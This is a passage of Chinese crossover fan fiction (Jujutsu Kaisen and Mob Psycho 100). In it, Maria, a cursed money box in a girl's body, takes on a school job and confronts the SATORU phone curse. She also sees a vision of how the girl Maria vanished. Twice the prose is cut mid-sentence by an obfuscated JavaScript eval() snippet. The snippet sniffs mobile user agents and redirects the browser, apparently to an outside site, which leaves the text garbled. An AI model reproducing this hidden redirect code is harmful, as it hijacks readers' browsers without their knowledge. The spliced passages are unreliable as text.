毕竟玛利亚无疑站在非常危险的位置上,这诈欺犯果然是打算利用玛利亚,然后跳船……!? “啊,是这样吗?”玛利亚根本没想过别人的想法,“那灵幻你先忘了吧,太危险了。”她语气平常。 “不要事到如今再说这种话你这个不负责任的家伙!” 玛利亚一脸‘我都道歉了’的表情:“那灵幻给我一万吧。”她来让他失忆,反正是做过的事情,想来应该不难。 “你想都不要想。” “啧。”灵幻皱起眉头,少见地认真了起来,“我的意思是……要是我们随随便便就背叛了你怎么办?” 可靠的成年男性两巴掌直接拍上了玛利亚的双颊,发出了啪地一声把她的脸挤成了一团。 唯独这个时候认真了起来:“你这个家伙的性格比茂夫还要麻烦——本身就很容易被人利用。” 这种时候。 再信任都无所谓,不要随随便便就把这么要紧的消息丢给别人! “要是背叛你,把你的下落和利用方式告诉不该告诉的人,该怎么办啊?” “许愿就好了吧。”让那些家伙完全无法靠近。 “我不仅仅是说人身安全的事情,而且,你有钱吗?” 提到钱,玛利亚和大手十指交握,下意识就缩成了卑微地姿势,然后她又想起了昨晚的事情,金发笨蛋语气强硬了起来。 “不过……已经有至少两个人知道了……五条悟和夏油杰!反正他们肯定都会告诉别人的……我怎么说都没关系吧?” 想起了那个眯眯眼,她下意识就紧紧抓住了自己心口的钱包。 这种心痛的感觉再也不要有了! 而且,要被背叛的话,总感觉那边会先把她卖掉。 看到她的动作,灵幻哼了一声,有些嘴硬:“……啧,那两人绝对是骗子,搞不好是假超能力者之类的。”他竖起一根食指,“除了我们之外的家伙绝对不可以信任!明白了吗?” 灵幻不认可! 才认识玛利亚多久啊,就想指挥她的行动了……而且,竟然欺负他们磨合了这么久的笨蛋。 二十八岁的老父亲说着就面色阴沉地嘀咕起来:“听好了,玛利亚,把高中男生全当成猴子就行,这些家伙超级会骗人。而且,等这件事结束之后就用钱祈祷他们会倒霉,明白了吗?” 他来出这个成本费用。 而旁边的光头和麻里姐也举起了手:“我也可以。” 怎么了吗? 不太明白,但只要不是自己出钱就行,玛利亚点了点头。 跑题了。 灵幻咳嗽一声:“总之……被信任的人背叛的话你迟早会伤心的。喂、不要那副满不在乎的表情!”毕竟一开始认识的时候,玛利亚就是那种容易被骗的状态。 “我又不会伤心。”玛利亚物理上就不太会这种事情,“而且,只要花钱的话……” “你有钱吗。”光头又一次补上了致命一击。 玛利亚难得谦卑地正坐回了地上,抱住了失去床铺的大手,和它一起闭上了嘴巴,乖顺听训。 灵幻少见地正经:“而且你明明就会因为金钱而产生波动,说明并不是没有感情,只是不会而已。玛利亚——只要继续作为人类生存,总有一天会学会寂寞和痛苦。” 到时候该怎么办呢? 这是人类真心实意地担心。 能感受到那份心意,玛利亚却不太明白他话语里的意义:“在那之前,我不继续做人不就行、” 感觉到伤心就以小盒形态出击。 但这话还没有说完。 已经被在场的四人异口同声地制止了—— 就连影山茂夫都难得表现出了拒绝:“玛利亚小姐的交流方式太简单粗暴了。” 喜欢就亲近,没有什么底线也不生气。 ……这样横冲直撞的直闯别人的内心,赤裸地交流。 现在想来,玛利亚确实不太懂很多人类的规矩,经常会惹人生气——但是她不会逃避重要的对话,毫无偏见,也丝毫没学会敷衍。 “……不可以一直当人类吗?”说实话的话,他确实挺喜欢这种状态的金发前辈。 玛利亚思考了片刻。 虽然仔细对比,钱箱子只要坐着收钱就好,甚至不需要房租,而人类还需要衣食住行的花费,不仅如此,还要学会察言观色…… 玛利亚看着茂夫的表情,最后还是艰难点了点头:“就先试试吧。” 而光头已经勒住了她的脖颈一招KO:“明明就什么都不记得,也没办法选择自己的形态,没影的事情说什么‘先试试’啊!?变不回去就给我好好做人!” * 确实如光头所说。 杞人忧天的事情放到一边,在玛利亚看来,现在更重要的事情无疑是得搞到真理亚的情报。 把事情告诉他们几个,也有想请对人类社会更熟练的人帮忙的意思。 灵幻听完了来龙去脉,已经点了点头:“总之,现阶段目标就是这个吧——” 要找到箱子,就得知道真理亚到底许了什么愿望。 玛利亚认为,应该是真理亚许了什么可持续的愿望,导致自己不得不维持在这个状态上。 那么。 知道她到底许了什么愿望,想办法一次性完整实现的话,搞不好就可以让自己想起之前发生的事情了。 这样的话,就就可以找到和箱子有关的线索。 搞不好也能搞清楚真理亚现在的状况,她到底是活着?死了?消失了?还是…… 光头双手抱胸:“咒术师那边怎么说?”毕竟那些人可以联络警方,权限也很高。 玛利亚摇了摇头:“跟他们一起工作的辅助监督说,如果要调取警方的资料……我好像得先去配合警方的调查才行。” 也就是去高野山那边,跟警察录一遍口供。 毕竟对于普通人来说,玛利亚也很可疑,得先排除这部分嫌疑才行——而且,她的身体现在是怎么状况,也需要在可信的机构接受检查。 ……不过就算问她关于铃木真理亚失踪、其母亲自杀的事件,玛利亚也想不起任何事情。 最后可能就是采集指纹、血液,问话之类的事情吧。 “总之,我约好下周见面之后去看看。”玛利亚想起那时候和那两个男高的约定。 不过提到这点。 灵幻倒是想了起来:“啊、说起来我才想跟你说来着,我找到让你混进黑醋高中的门路了。”这家伙翻找起了自己的口袋。 ……虽然之前也想过要联系真理亚的家人,或是让玛利亚顶替真理亚的身份入学。 但是这个方法有个很大的问题。 钱。 在场的几人都沉默了下来。 茂夫作为唯一在读的学生:“我听说黑醋高是私立高中……应该很贵吧?”私立高中的学费一般是公立的两三倍。 灵幻点了点头。 “偏差值很高噢,真理亚一家似乎是在上学期间就突然搬家、也没有处理学籍和学费的事情……” 想来,几乎就是在逃跑了,把所有的东西都带上,然后仓皇离开了这里,就连后续事件都没有处理。 所以学校才先把她判断成了拒绝上学。 然后经过家访,才知道是失踪。 所以。 玛利亚要接力顶替真理亚入学的话,就得先解决真理亚一家一整年的学费。 更不要提购买制服、教材的费用。 “加起来的话……” 玛利亚竖起了耳朵——她‘惊恐’地听到了一个值得打上马赛克的天文数字。 “接近140万吧,如果按照三个学期单独支付, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14245033|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春季学期的话就是三分之一……40多万円。” 玛利亚把耳朵和心灵都闭上了。 “啊、找到了。”灵幻这么絮絮叨叨,已经从口袋里摸出了三四张被折叠过好几次的报纸剪报,“……是打工的机会。” 那是同一个月内,接连好几次的校园勤杂工雇佣广告。 [【市区】【周结】【长工】【急招】校园区勤杂工/夜班值班看守。 周薪:30万円(约为1w4人民币) 内容:需要两班倒,白天需要有人看守女盥洗室;夜间值班则需要巡逻和清扫游泳池。 要求:女性、白班需年龄20以下、夜班有清扫泳池经验优先 联系方式:详细情联系黑醋高中。电话TEL:XXXXXXXX 备注:三餐都由雇主提供,校内住宿。] 灵幻新隆拍了拍玛利亚的肩膀:“很合适吧?夜间巡逻和清扫学校泳池……一周就有三十万日元(约为1w4),很轻松嘛。”他竖起拇指,“而且年龄和各方面都很适合。” 而且杂工在校内根本不显眼,可以光明正大地戴上口罩帽子……玛利亚是金发,神情、风格和真理亚也完全不同,基本不会被人认出来。 除了玛利亚之外的另外两人已经打量起了那份招聘告示……两个熟练的打工仔都皱起了眉头。 “……只是一个月就发布了五次招聘广告吗?”麻里姐已经‘嗅到’了熟悉的味道,“这是灰色吧。” 一月内就被刊载了四五次,也不知道是因为没招到人,还是什么别的原因。 而光头歪着脑袋:“一个月也就四五周吧,那不就是每周都得招募吗?而且,这里说的是白班和夜班的两次轮换,也就是说职位不止一个。” ……一个都没招到?还是每周都招募到了合适的员工,却都没能完成工作呢? 而且这个薪酬水平……看上去是灰色无误,还是没有委托中介和专业人士的那种。 是陷阱的概率很高。 几个人都看向了作为当事人的玛利亚——她倒是一脸惊奇:“学校这么挣钱吗?” 每周都请人的话……30多万円乘以五,做满一个月她都可以上学去了。 总感觉这个来钱比当钱箱子快多了,她攒了一千多年才3200円…… “……我能不能也开个什么私立学校什么的。”玛利亚看着广告发问。 等有钱之后。 “买一个超级便宜的闹鬼大豪宅,专门招揽有特殊天赋的小孩,一学年也收150,不、300万!” 早知道不该对她产生多余的期待。 灵幻哈了一声:“那要让这家伙当校长吗?”他指向了旁边的光头,“只要让他瘫痪坐上轮椅的话,你就可以被西半球的最强起诉了。” ……继疯狂碰瓷东半球最强的宝O梦之后,下一步是进军美漫界吗!? “不过光头桑没有心灵感应,可能做不到吧。”麻里姐也跟着笑了起来。 而被提到的光头额头上直接冒起了青筋:“喂!” 都说了他和O教授不一样,只是因为僧侣的原因剃掉的头发而已! 不过。 虽然颇有进展,几个大人都忍不住提起了担心。 ……这种明晃晃的陷阱。 她真的没问题吗? 反倒是作为当事人的玛利亚并不紧张:“唔,应该没问题的。” 她这么说……并不仅仅是因为她本身就叫不紧张。 回忆起昨天的事情,和第一次清醒使用术式的体验,玛利亚看了一眼自己的钱包。 “如果许愿的内容太超现实就会需要千円以上,但是如果是正常情况也能达成的情况,几百円也可以解决。” 这个术式的唯一障碍是想象力和金钱储备。 “……我好像知道该怎么用了。”玛利亚这么说着,已经高举起了手里的五百円硬币。 发现了可以少花钱的方法,她得意洋洋。 但是玛利亚却没想到最可悲的事情,是让一个穷鬼学会了氪金。 * 术式实验的第一步就是先解决掉还没完全收摊的工作。 ……SATORU君的事情。 已经从夏油杰那边听了一耳朵关于这个东西的都市传说。 玛利亚思来想去……最后还是艰难地判断,自己应该不算‘完成了交易’。 毕竟公平交易是很重要的。 而且。 “如果来的悟君,是那个等到了我身后再让我问问题的小孩模式的话。”站在公寓楼下,此刻的玛利亚正对着面前的娜娜明和灰原比手画脚,“我就可以再问一次问题了吧?” 毕竟行动模式是来到身后,回答问题。 那边的男高们已经听前辈交待了玛利亚的事情,并被嘱咐了对高专和高层保密——而玛利亚的注意力明显已经转移到了其他方向。 来的是小孩就可以有免费的情报! 那岂不是可以大问特问……!? 不知道可不可以问下周的彩票号码…… 玛利亚下意识就产生了邪念。 当然。 这邪念直接被娜娜明杀灭了:“给我问点有用的东西。”擅自欺骗的账也还没算呢。 而灰原则是好奇别的事情,这会儿他做着除灵前的热身活动。 “不过说起来,到底会有几个人(灵)来啊?”这里位置够吗?会不会坐不下这么多人啊。 玛利亚举手:“那多来的咒灵的可以问彩、” “不可以。”七海建人想也不想地直接扭转了玛利亚的脑袋,示意她拿出手机,等待Satoru的信息。 不过。 在悟君的电话之前,玛利亚却发现了另外的内容。 ……那个眯眯眼发来了信息。 [在约定好的日期之前,玛利亚酱有时间单独见面吗?] 他想做什么? 28.价值交换 玛利亚实在搞不懂那个笑眯眯的狐狸DK在想什么。 她低头键入回答:[去警局接受问询的时候不就可以见面了吗?] [有想单独询问玛利亚的事情。] 而没等玛利亚给出更多回复,夏油杰已经又飞快补上了一句。 [不需要多少时间,我可以过来找你吗?] 金发笨蛋还在思考着回答,手机来电已经响了起来——这次是SATORU君。 工作时间到了。 * 据说是可以把咒灵圈在里面。 等灰色的结界‘帐’落下。 娜娜明和灰原已经非常识趣地躲到了旁边的障碍物里,移开了视线——毕竟谁也不知道目击咒灵出现的瞬间会不会有什么变数。 实际上,这两天SATORU君已经来过了不少电话,玛利亚也和娜娜明还有雇主那边商量过……但不管是术师,还是区役所的统计资料里,都说是从来没有见过这种状况—— 每次通话的人都不太一样,而且,通报的位置也存在波动。 简直就像它找不到玛利亚的位置似的,当然,玛利亚这两天到处跳跃的传送门可能也是一个要素。 明明之前还是从东京那边逐渐往调味市靠近来着,两三百公里的距离,硬生生被这些咒灵跑出了一个心电图。 [你好,我在东京……]小孩的声音。 这是中年人生气的抱怨:[……大阪……] 然后是一个女性询问着能否打扰:[……和歌山这里是否能够……] 都找了一两天,才终于重新到了调味市……虽然这么说有些讽刺,但得知SATORU君终于到了公寓附近的十字路口的时候,两个二年级术师还是像看火炬接力转播一样松了口气。 太不容易了(指咒灵)。 天色已经靠近了黄昏—— 他们约好了等玛利亚问完问题,就用电话通知七海他们,在此之前,两人绝对不会干扰。 被两个男高耳提面命之后绝对要谨慎行事,所以玛利亚站在院子里,回头和躲起来的男高最后交换了一个眼神,接起了电话。 ……这次响起的熟悉的小孩的声音。 [我现在到公寓正门了噢。] 挂断。 然后是之前听过的中年男性声音:[我到公寓楼梯了,喂!洗干净脖子给我等着。] 而随着它的逐渐靠近,声音像是播片光碟出现故障一样变换着频道,等电话再一次响起,它以老者的声音告诉玛利亚自己已经来到公寓后院的时候…… 听着手机,一阵凉意已经爬上了玛利亚的背脊。 不。 像是有什么脚步声,即便玛利亚感知并不灵敏—— 毕竟谁也不能指望一个木盒子有什么过人的五感,她可才驯服四肢不久。 ——也能隐约听见有什么轻轻踩在泥土上的声音,然后它不再移动。 从后院入口到玛利亚所在的位置甚至不需要二十米——那个声音离她更是不到两三米。 缺乏紧张感的打工仔眨了眨眼,她发现……自己等了好久,都没等到悟君通报[我现在到了你背后噢……]的来电或是招呼。 是现在提问的意思吗……? 咒灵也会呼吸吗? 夜空中似乎有什么把她后颈处的头发轻轻吹起。 真的有什么在身后吗?还是说这是因为我一个人站太久产生的错觉? 来了多少个‘悟君’? 风雨欲来的气氛让一切都安静了下来,时间变慢——但身后的动静却没有继续,而是原地不动了。 不过因为所有人的心思早已经飞到了之后别的预定上,这种危险的气氛多少打了些折扣,多了一丝按部就班的乏味感。 “呃……” 已经想好了自己要问的问题,玛利亚吞了吞口水。 总感觉要是乱问‘后面有人吗’会占用问题名额。 毕竟万一有人回答‘有噢’,然后就消失了就好玩了—— 根本不知道‘作死’怎么写的打工仔索性像是报菜名一样,一股脑把自己的疑惑全都抛了出来。 “……真理亚还活着吗?箱子在哪里?伏黑甚尔是谁?我失去的记忆到底要怎么才能恢复?那天到底发生了什么?宇宙的目的与边界是什么?有外星人存在吗……” 她的声音倒是响亮。 身后的吹拂感却丝毫不变,一点反应都没有。 只有娜娜明他们一直嗡嗡作响,让玛利亚随时更新自己情报的催促邮件提示声。 ……它总不能见了自己之后回头就走吧?喂、之前电话都打来了,可不能临阵退缩啊! 自己还等着回答呢!之前问你们的事情挑一个回答也好啊? 多少有点来都来了让玛利亚吃个饭再走这种大逆不道的想法,打工仔在心里嘀嘀咕咕,但是现在这个时机,再回头确认显然已经不太合适了。 她正想着要不然就先给娜娜明他们发信直接祓除咒灵算了,动作却僵在了原地。 玛利亚突兀地等到了一只抓住了自己的脚腕、冰凉的手。 这预料之外的行动直接激出了玛利亚生理性的哆嗦—— * 发生了都市传说之外的事情。 既不是不能回头的小孩、也不是不可视的惨死女性怨灵、如果是那个杀人犯的话,对方应该早就冲上来拧断自己的脖颈才对,而老者显然也不应该是个这个反应。 到底是什么? 明明就是身后发生的事情,‘可知’却在一瞬间变成了‘不可知’,它来了却既不说话也不接话。 手机仍在因为娜娜明他们的问询而震动。 但玛利亚陷入了迟疑。 倒不是对自己的安危又什么顾虑——就算被袭击,玛利亚也早有了预案。 她只是开始犹豫起要不要把七海和灰原他们叫来。 要让两人祓除咒灵非常简单,现在就是机会,但没能得到答案的问题又让玛利亚觉得有些可惜。 好奇心和理性思考在脑袋里开始了争吵。 金色双马尾把视线轻轻下撇——余光就能发现,伸过来抓住自己脚腕的是一个女性的手。 隐约能看见和自己差不多的骨架,能看见她满是污泥的指缝、和指尖上发干的褐色血迹和细微的各种擦伤,还有让人有些眼熟的登山服袖口。 不管是工作手册里,还是听到的都市传说都没有告诉过玛利亚该怎么处理这种状况…… 而这纤细的手抓住了自己的脚腕之后就再无动作,像是抓住她已经是全部的目的。 该不会…… 冥冥中已经产生了某种猜测。 玛利亚迟疑了片刻,还是将手伸-进了口袋,她看也不看,顺应着直觉,盲选出了一张万元纸钞。 ……倒不如说这个价码更加吓人呢。 玛利亚露出了舔过柠檬,皱成一团的表情。 但已经吃够了偷工减料的亏,尽管有些肉痛,玛利亚还是一个狠心把纸钞贴在了自己的后颈上。 该不会…… 玛利亚心一横就把头扭了回去。 那就是SATORU君给予的答案吧? * ……完蛋了。 七海建人从掩体里冲出来的时候已经慢了一步,因为担心他者的存在会让悟君不敢现身、两人之前躲在了一楼走廊的围挡后,连多余的信息都不敢发。 两人都听到了玛利亚手机上的最后两通来电。 苍老的声音刚通报完自己来到公寓入口,紧接着最后一通电话就响了起来。 电话响在玛利亚毫无紧张感地报完菜名之后。 如果他们两边还能维持通讯的话,恐怕就能发现二者眼中‘现实’的差异——在玛利亚看来,那通电话根本没有响起,反而是七海他们的邮件提示声不时震动。 但在七海建人他们听来却完全相反。 恐怕有过一边接着电话一边做事的人都有这种体会吧? 虽然眼睛还注视着前方,但注意力已经被电话内部的声音所截取,等意识到的时候。 取决于个人的习惯——自己要么就是无意识掰扯着面前的树叶,要么就是无意识地左右踱步,拿着笔在纸上胡乱画圈。 渐渐地,电话外的事物被忽略了。 电话亭的一切都陷入了黑暗。 玛利亚也是如此——接起电话的瞬间,心口的钞票已经点燃了起来。 只是她尚未察觉到罢了。 两个高中生先是听见了玛利亚接起了电话,因为她早调高了音量——两人都能听见那头像是音频故障一样……将好几种声线混合在一起的声音。 仔细听的话。 也许能分辨出一个声线吧,既是老人也是小孩,男人或是女性,加害者抑或受害者。 它说着:[我在你的身后噢。] 然后两个高专生就发现——不管是玛利亚那边,还是电话那头都陷入了长达三四分钟的沉默。 实在等不到信号、察觉到危险的七海建人和灰原雄犹豫了好久,才踢开走廊的安全栅栏。 但他们看到的只剩下回头眼睛发直的玛利亚、她颈间和心口燃起的白色焰火、和一个被零散的面部图像拼接缝补而成,如同视觉故障艺术的奇妙人型咒灵。 在看到的瞬间,声音也变得可以被听见了。 它的身上吱吱喳喳——肩膀上的半张人脸照片在哭泣、心口的嘴巴却只会叫喊、年幼的肖像呼唤着玩伴、而手部的面部像是神经质一样不停重复着某个听不清楚的短句、被划破的女性照片更是反复确认着是否有人看见…… 还有一张贴在人影身后,属于老者的照片。 在两个高专生注意到它的瞬间,嘈杂的声音便被剥离。 没有准备好问题的两人陷入了‘电话’之中,耳边只剩下了SATORU君给与的‘答案’。 七海建人眼神陷入了短暂的怔愣,一直反复询问、不停否认的想法得到了答案。 我到底是为什么会走上这条路呢? 早知道不来了…… 啧、太麻烦了,我到底是怎么想的。 ‘……不、你确实在追逐着人生与生命的价值,就是因为这样才会做咒术师吧?’ 而专注着眼前灰原则更加纯粹一点,对于‘这到底是什么’的疑惑,得到的答案也更加简单。 ‘这是被带走的人与声音,而随着混入的‘数据库’越来越大……被SATORU获知的知识也会以几何级数增长。’ 察觉到危险的片刻七海建人就把灰原雄撞开了。 ——所以两个高专生跌作一团,避免了陷入如同玛利亚一样的呆立。 两个高专生发现对方的面部出现故障一般的残缺,这才清醒过来,冲向了颈间的火焰即将燃烧殆尽的玛利亚。 * 玛利亚终于得到了‘答案’。 本来想就这样给娜娜明他们发送祓除信号来着——颈间的一万日元已经烧了起来。 想也知道它正在起着防御的作用,再耗下去搞不好又要继续花钱。 ……什么计时制的网络游戏啊? 虽然心里是这样毫无紧张感地抱怨,但玛利亚还是想再多看一点。 低下头的瞬间玛利亚就认出了那是谁。 那个抓住自己的脚的少女——她黑色的头发散在地上,穿着一身新买的登山服。 和自己一模一样的脸侧倒在地上,眼神还没有涣散。 被激发的记忆和‘答案’全都混在了一起,眼前的视野交叠,脚下所站的地方已经从公寓外围的草地变成了破破烂烂的石板。 真理亚满是脏污的手正抓着自己的脚。 不。 她抓着的是放置钱箱的木桌子,试图爬起来。 “妈妈明明就是为了你好,你也知道不是吗……”中年女性将钱箱高高举起,“如果妈妈死掉的话,真理亚你该怎么办……你根本就没有生存的能力?我也是没有办法!” 玛利亚免不了注意到钱箱身上泛着奇怪光芒的鎏金刻纹——但视野很快又被中年妇女抢走了。 那位中年女性重重地对着弯着腰的真理亚脑袋砸了下去。 嘴里还说着:“原谅我、真理亚……” 声音像是掰开西瓜一样。 黑发女生又重重跌在了地上,她张了张嘴,倒在地上,却一声也没有反驳。 中年妇女再次举起箱子。 缺乏同情心,玛利亚一开始只是带着强烈的好奇而已,已经发生的事情到底有什么要紧? ——但看到这样的动作,她也忍不住慌张了起来。 喂喂喂、钱币会掉出来的,稍微爱惜一点使用吧,好歹都把我当成凶器了! 但也是这个瞬间,玛利亚免不了注意到,那个钱箱的投币窄口里全然是一片漆黑,随着鎏金的刻纹闪动、即便这样晃动,被‘封印’的钱币仍是纹丝不动。 直到一个嘴角带着疤痕的黑发男人抓住了中年女人的胳膊,把她拎了起来。 他看上去对这母女俩的闹剧一点兴趣都没有。 “喂、那可是我的目标。”精壮的陌生男人一手提着中年女性,一把扣着钱箱的格栅,把它抢了过去。 而本来不应该允许钱币掉落的箱子在落入他的手里的那刻出现了变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14253032|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化。 刻纹上的金光暗淡了下来,像是受到的某种无形的庇护消失…… 钱箱出现了细微的裂痕——玛利亚眉头一跳。 她隐约觉得这种事情不应该发生才对、只要刻纹还……嗯? 想起了什么,但是又忘了自己要说什么话,金发笨蛋已经用力挠起了自己的头发。 而她眼见着漆黑一片,只进不出,用于封印的窄口里,几枚状似五十円的钱币突兀掉落。 它落入了真理亚的手里,‘碰巧’被眼神逐渐涣散的她握住了。 凶器本人因为惊讶而睁大了眼睛。 ……那这样看来的话,是我给了真理亚钱才对吧? 她脑海里泛起了天平的两端—— 目前看来。 自己‘得到’的:失去了记忆、‘我是玛利亚’、术式倒还在。 付出了——目前看来,是钱币掉在了真理亚手里,但真理亚失踪了,不知道她通过‘许愿’得到了什么。 无论如何都无法将交易等价。 除非……真理亚许的愿望还有对我有利的部分。 而没等玛利亚想明白,那边的场面已经又出现了变化——真理亚抓住了伏黑甚尔的裤脚。 这种蚊子一样的‘折腾’轻易就被破解。 黑发男人甚至没有对她用力,只是直接迈步就让真理亚撒开了手,少女的嘴一-张-一-合,玛利亚忍不住凑近,想要听清楚真理亚说了什么。 ……但她听到的却是意想不到的声音。 从背后传来的。 玛利亚回头——颈间的钞票这会儿已经即将燃烧到了尽头。 玛利亚的目光投向了那个被黑发男人——现在想来,应该是伏黑甚尔吧? 她看向了那个被伏黑甚尔带走的箱子。 在声音响起的片刻——以3200円,64枚50円,市值4千万左右的古董为代价。 除了‘木箱’与‘少女’之外的所有时间被暂停了下来。 分不清性别,不存在实体的声音响起。 [……被他带走就糟糕了。] [……你付不起代价,就算是濒死前的愿望,把所有都补上都不行,只有你一个人认可的价值是不够的……] 像是直穿耳膜,在脑袋里响起的声音一样……是不应该达成的愿望,也不应该传达到的声音。 [……咒物立下了束缚,我们的存续建立在不能对世间造成干扰的前提下,我并不存在,也不可以存在,但你、MARIA不一样……] 请帮帮我。 [……交换一切吧。] 声音还在继续。 玛利亚皱起眉头,想要仔细听清楚箱子说了什么,而少女又如何回答。 真理亚的愿望到底是什么呢? 她看到少女的身影出现了闪烁,而与此同时,一人一箱之间,一个崭新的身影正在出现。 金色的头发。 和真理亚如出一辙的样貌,和乱糟糟的登山服,如同梦游一般的神情。 那个崭新的身影将一枚钱币放在了真理亚手里——简直像是被钱币封印一般,它看着真理亚的身影变得浅淡了起来。 [同意的话,就将‘自己’投入木箱……] 没有听完那句话。 但玛利亚却冥冥中明白那个身影……自己的意思。 被封印在钱箱里的东西,不管是诅咒、灵魂、还是人类也好,它们都不会死亡。 但玛利亚还没来得及继续——“玛利亚!” * 娜娜明和灰原雄,主要是灰原雄已经像是个橄榄球运动员一样,把小身板的玛利亚撞飞了出去。 清醒是清醒了。 毕竟脖颈上的纸钞还没烧完呢,被救的本人一点没有着急。 而躺在地上半天没喘匀气,玛利亚还没咳嗽明白呢,她就已经跟个小鸡崽一样被灰原雄捞了起来。 黑发蘑菇头一脸大惊小怪地摇晃着金发笨蛋:“娜娜明!糟糕了,玛利亚的意识消失了!?” 本来还没消失的。 玛利亚只看着七海建人劈开了咒灵——已经被摇晕了过去。 不过,按照身体十足饥饿的感觉,也可能是和上次一样,力量使用过度,有些低血糖了。 她在昏迷之前还在想着看到的那幕……出现的崭新、蓄着金发的身影,被放在真理亚手心里的钱币,还有真理亚逐渐消失的身影。 啊。 她迷迷瞪瞪地倒在地上,脑袋却从未有过的清醒……问题确实得到了解答。 真理亚还活着吗? 她于昏迷中‘梦到’了那个暗淡的箱子,和在钱箱里沉睡着的封印物们。 你在这里呀?真理亚。 * 终于交货了。 耗费了好几个不知情的家伙转手,不停降低着‘诅咒’的效力——伏黑甚尔这会儿终于站在了加茂家的庭院里。 没想到兜兜转转还要来到这种惹人厌烦的地方,不过好歹不是禅院家。 伏黑甚尔倒没什么挑剔的,只是跟来人打了个招呼,拿了钱就离开了。 他丢掉了工作用的临时SIM卡,又换上了新的。 把一切都甩在了脑后。 “这是个可以和价值交换,视线愿望的箱子,只要付出足够的代价,然后投入足以驱动它的咒力,无论何种愿望都可以达成。” 而那个戴着帽子的加茂却只是把手抚在了暗淡的钱箱上,在伏黑转身离开之后,告诉了自己身边站着的仆人,这个标的物的‘价值’。 因为这个箱子会‘拒绝’知晓、并且想利用它许愿的人靠近。 那个天与咒缚是例外。 其它人可不是—— 他看向了惊讶的仆从,确保了所有目击者都再也无法靠近,当然,如果这些人还活着的话。 “而对它许愿的话,方式也很简单。”这位加茂无视了旁边倒下的仆从,说着拿起了一枚钱币。 付出‘人们普遍认为有价值’的东西就行,而且,这种共同认知越强,其价值就越高。 “一般来说是金钱,毕竟作为一般等价物,很少有这种,本身只是毫无价值的纸张,却被所有人共同认为‘非常有价值’的,可供交换的东西嘛。” 不过。 “宝物、健康、自由、寿命、感情、知识这些也是可以的。” 这么说着,加茂已经以这些东西许下了愿望。 但令人讶异的是。 在满地倒着的老人中间。 箱子毫无反应……就像是某种本该在里面的力量失灵了一样。 加茂挑起了眉毛。 29.灰色兼职6 献祭了十几个人的寿命与健康,钱箱却毫无反应。 他筹谋已久的愿望并没有实现,哪怕是几分之一都没有。 简直就像是摆好了帅气姿势,背后片场的定点爆破点却没有响应一样。 加茂上一刻还维持着冷酷的表情,但下一秒,即便像他这样心硬如铁,不择手段的人,额头上也冒出了冷汗。 本来十拿九稳的事情出现了变故,哪怕是他这种老谋深算的家伙也忍不住怀疑起了自己的时运是不是出了什么问题。 先是听说哪里出现了喜好吃掉脑袋的菌体——为了躲这个东西,自己还蛰伏了一段时间。 又是收集的手指不翼而飞了一半。 他对着空箱子找了大半天,结果没找出个所以然,屋顶倒是被从不知名小偷那边飞回来的部分手指,砸了好几个窟窿。 ……一数还丢了三根。 而现在,当成备选概率修改器的钱箱也出了问题。 ……坏掉了? 戴着帽子的‘加茂’左右打量着功德箱上面黯淡的金色纹路——距离自己上次看见这个东西也有几百年了。 那时候它还只是个封印无法解决的咒灵的容器而已。 该不会是年久失修了吧? 但看它仍在排斥别人靠近的样子,怎么想也和坏掉无关。 皱起眉头,‘加茂’只能根据曾几何时这东西还在人群中的使用经验,简单排除了一下故障。 应该是放置在野外太久,封印物供给的咒力都消耗得差不多了吧。 把它判断为电量不足。 加茂已经定好了之后行动的方针——先去找找各种都市传说,搜索一些可以喂给它的咒灵吧。 按理说,在它周围被祓除的咒灵本身就会被它吸收一部分力量。 不过。 他皱起了眉头:“……果然得搞到咒灵操术才行。”反派将手搭在了自己的下巴上。 ……然后。 那个本文明目张胆的坏蛋不太死心,像是维修电视机一样用力伸手敲了敲钱箱子的侧边。 不过非常想当然的。 钱箱仍旧没有任何反应。 * 简直像是有谁在脑袋里搞装修一样。 玛利亚在叮咣、咚隆、框框框的响动里睁开了眼睛——她扶着自己的脑袋,头痛的同时,撑得像是吃了十顿大胃王免单的自助餐。 总感觉是某种从未体验过的饱腹感……心情异常地轻快。 我晕过去之前把娜娜明和灰原他们吞进去了? 依稀记得自己昏迷过去之前还有些低血糖,玛利亚歪着脑袋,完全不能理解现状。 玛利亚掂量了一下天平这头,自己‘得到’的东西。 能记起来的只有……自己大概是租用、借用了真理亚的身份。 顶着她的壳子才能自由的行动、在不失去力量的前提下对外界进行干扰。 然后她左右打量了一眼才发现这是自己的卧室,自己正和衣倒在床上。 床铺也和过去一样,之前被劈成了三七分的床铺被玛利亚买回来的两块木板重新钉上固定了起来,勉强重新在用。 金发笨蛋在床上翻了个身,脑袋搭在床边,看向了床底的黑暗。 大手从黑暗里伸-出,胡乱撸了撸玛利亚的脑袋,应该算是一声早安吧。 然后金发笨蛋就像是液体一样从床上溜到了床边,靠着床铺坐着,姑且确认了一下。 “大手,我有拜托你藏吃剩的尸体吗?”她打了个呵欠,负罪感完全为零。 而大手已经给她扎起了头发,不过因为不管是玛利亚、还是大手都缺乏人类审美……这双马尾一如既地歪歪扭扭的。 不过还没等到它回答——有人直接打开了玛利亚的房门。 那是灰原:“……终于醒了啊,玛利亚!” 两个疑似被玛利亚‘吃掉’的高专生从门口挤了脑袋进来,发现玛利亚已经清醒,明显松了口气。 然后她才注意到——两个高专生的脸上都被贴上了奇怪的纱布。 